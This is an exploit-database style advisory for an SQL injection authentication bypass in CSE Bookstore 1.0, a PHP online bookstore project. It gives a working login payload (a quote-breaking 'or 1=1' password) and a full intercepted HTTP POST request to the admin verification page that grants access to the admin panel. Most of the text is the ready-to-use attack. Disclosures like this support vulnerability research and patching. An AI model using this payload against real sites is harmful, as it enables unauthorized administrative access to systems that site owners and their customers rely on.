CSE Bookstore 1.0 SQL Injection

`# Exploit Title: CSE Bookstore Authentication Bypass  
# Date: 27/10/2020  
# Exploit Author: Alper Basaran  
# Vendor Homepage: https://projectworlds.in/  
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip  
# Version: 1.0  
# Tested on: Windows 10 Enterprise 1909  
  
  
CSE Bookstore is vulnerable to an authentication bypass vulnerability on the admin panel.   
By default the admin panel is located at /admin.php and the administrator interface can be accessed by unauthorized users exploiting the SQL injection vulnerability.  
  
Payload:   
Name: admin  
Pass: %' or '1'='1   
  
Sample BurpSuite intercept:  
  
POST /bookstore/admin_verify.php HTTP/1.1  
Host: 192.168.20.131  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 60  
Origin: http://192.168.20.131  
Connection: close  
Referer: http://192.168.20.131/bookstore/admin.php  
Cookie: PHPSESSID=hmqnib0ihkvo235jor7mpfoupv  
Upgrade-Insecure-Requests: 1  
  
name=admin&pass=%25%27+or+%271%27%3D%271&submit=Submit+Query  
`